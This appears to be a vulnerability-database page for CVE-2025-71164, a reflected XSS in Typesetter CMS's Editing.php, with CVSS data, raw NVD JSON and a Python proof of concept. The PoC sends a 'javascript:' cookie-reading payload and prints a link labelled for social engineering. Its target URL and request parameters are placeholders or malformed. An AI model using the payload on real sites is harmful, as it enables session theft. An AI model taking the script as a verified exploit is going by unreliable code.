Security Vulnerability Report
中文
CVE-2025-71164 CVSS 5.4 MEDIUM

CVE-2025-71164

Published: 2026-01-14 19:16:47
Last Modified: 2026-01-21 20:47:12

Description

Typesetter CMS versions up to and including 5.1 contain a reflected cross-site scripting (XSS) vulnerability in the Editing component. The images parameter (submitted as images[] in a POST request) is reflected into an HTML href attribute without proper context-aware output encoding in include/tool/Editing.php. An authenticated attacker with editing privileges can supply a JavaScript pseudo-protocol (e.g., javascript:) to trigger arbitrary JavaScript execution in the context of the victim's browser session.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:typesettercms:typesetter:*:*:*:*:*:*:*:* - VULNERABLE
Typesetter CMS <= 5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-71164 PoC - Typesetter CMS Reflected XSS # Target: Typesetter CMS <= 5.1 # Component: include/tool/Editing.php # Vector: images[] parameter with javascript: protocol target_url = "http://target-site.com Typesetter CMS URL" # Malicious payload for XSS xss_payload = "javascript:alert(document.cookie)" # Construct POST request with XSS payload data = { "images[]": xss_payload, "gadget": "EditPage", # or appropriate gadget parameter "method": "SomeMethod" } # Alternative: Construct URL with reflected parameter malicious_url = f"{target_url}/include/tool/Editing.php?images[]={urllib.parse.quote(xss_payload)}" # Attack requires authenticated session with editing privileges cookies = { "session_cookie": "your_authenticated_session_here" } # Send malicious request response = requests.post(target_url, data=data, cookies=cookies) # For reflected XSS, the payload should be reflected in the response if xss_payload in response.text: print("[+] XSS payload reflected in response - Vulnerability confirmed!") else: print("[-] Payload not reflected") # Note: This PoC demonstrates the vulnerability but requires: # 1. Valid authentication with editing privileges # 2. User interaction (victim must click the malicious link) # 3. Proper context (payload reflected in href attribute) print(f"\nMalicious URL for social engineering: {malicious_url}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71164", "sourceIdentifier": "[email protected]", "published": "2026-01-14T19:16:47.007", "lastModified": "2026-01-21T20:47:12.300", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Typesetter CMS versions up to and including 5.1 contain a reflected cross-site scripting (XSS) vulnerability in the Editing component. The images parameter (submitted as images[] in a POST request) is reflected into an HTML href attribute without proper context-aware output encoding in include/tool/Editing.php. An authenticated attacker with editing privileges can supply a JavaScript pseudo-protocol (e.g., javascript:) to trigger arbitrary JavaScript execution in the context of the victim's browser session."}, {"lang": "es", "value": "Las versiones de Typesetter CMS hasta la 5.1 inclusive contienen una vulnerabilidad de cross-site scripting (XSS) reflejado en el componente de Edición. El parámetro images (enviado como images[] en una solicitud POST) se refleja en un atributo href de HTML sin una codificación de salida adecuada y consciente del contexto en include/tool/Editing.PHP. Un atacante autenticado con privilegios de edición puede proporcionar un pseudo-protocolo de JavaScript (por ejemplo, javascript:) para desencadenar la ejecución arbitraria de JavaScript en el contexto de la sesión del navegador de la víctima."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:typesettercms:typesetter:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.1", "matchCriteriaId": "D9D43099-0ED9-43B1-8E20-543958026BEF"}]}]}], "references": [{"url": "https://github.com/Typesetter/Typesetter", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Typesetter/Typesetter/issues/706", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://www.vulncheck.com/advisories/typesetter-cms-reflected-xss-via-editing-php", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}